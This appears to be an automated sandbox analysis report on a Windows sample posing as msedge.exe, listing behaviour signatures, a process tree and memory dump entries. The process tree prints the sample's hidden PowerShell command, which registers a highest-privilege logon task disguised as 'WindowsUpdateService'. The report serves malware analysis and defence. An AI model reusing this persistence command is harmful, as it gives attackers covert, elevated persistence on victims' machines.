Analysis

  • max time kernel
    76s
  • max time network
    26s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 23:52

General

  • Target
    msedge.exe
  • Size 12.1MB
  • Sample260709-3wrexab14v
  • SHA256 0fd0e8111e241e89c41c08ebce27650b90d1b95163d874892acea105299562f4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\msedge.exe
    "C:\Users\Admin\AppData\Local\Temp\msedge.exe"
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:6140
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "$Action = New-ScheduledTaskAction -Execute 'C:\Windows\System32\msedge.exe'; $Trigger = New-ScheduledTaskTrigger -AtLogOn; $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'WindowsUpdateService' -Action $Action -Trigger $Trigger -Principal $Principal -Force | Out-Null; exit $LASTEXITCODE"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4360

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        memory/4360-15-0x0000021FBB1A0000-0x0000021FBB1BE000-memory.dmp

        memory/4360-10-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp

        memory/4360-2-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp

        memory/4360-3-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp

        memory/4360-6-0x0000021FBB100000-0x0000021FBB122000-memory.dmp

        memory/4360-7-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp

        memory/4360-8-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp

        memory/4360-12-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp

        memory/4360-16-0x0000021FBB1C0000-0x0000021FBB272000-memory.dmp

        memory/4360-11-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp

        memory/4360-23-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp

        memory/4360-1-0x00007FF9BD71F000-0x00007FF9BD720000-memory.dmp

        memory/4360-9-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp

        memory/4360-17-0x0000021FBB280000-0x0000021FBB28A000-memory.dmp

        memory/4360-18-0x0000021FBB620000-0x0000021FBB63E000-memory.dmp

        memory/4360-19-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp

        memory/4360-20-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp

        memory/4360-21-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp

        memory/6140-0-0x00007FF72BEF0000-0x00007FF72C4E0000-memory.dmp

        memory/6140-24-0x00007FF72BEF0000-0x00007FF72C4E0000-memory.dmp

        memory/6140-25-0x00007FF72BEF0000-0x00007FF72C4E0000-memory.dmp

        memory/6140-26-0x00007FF72BEF0000-0x00007FF72C4E0000-memory.dmp

        memory/6140-27-0x00007FF72BEF0000-0x00007FF72C4E0000-memory.dmp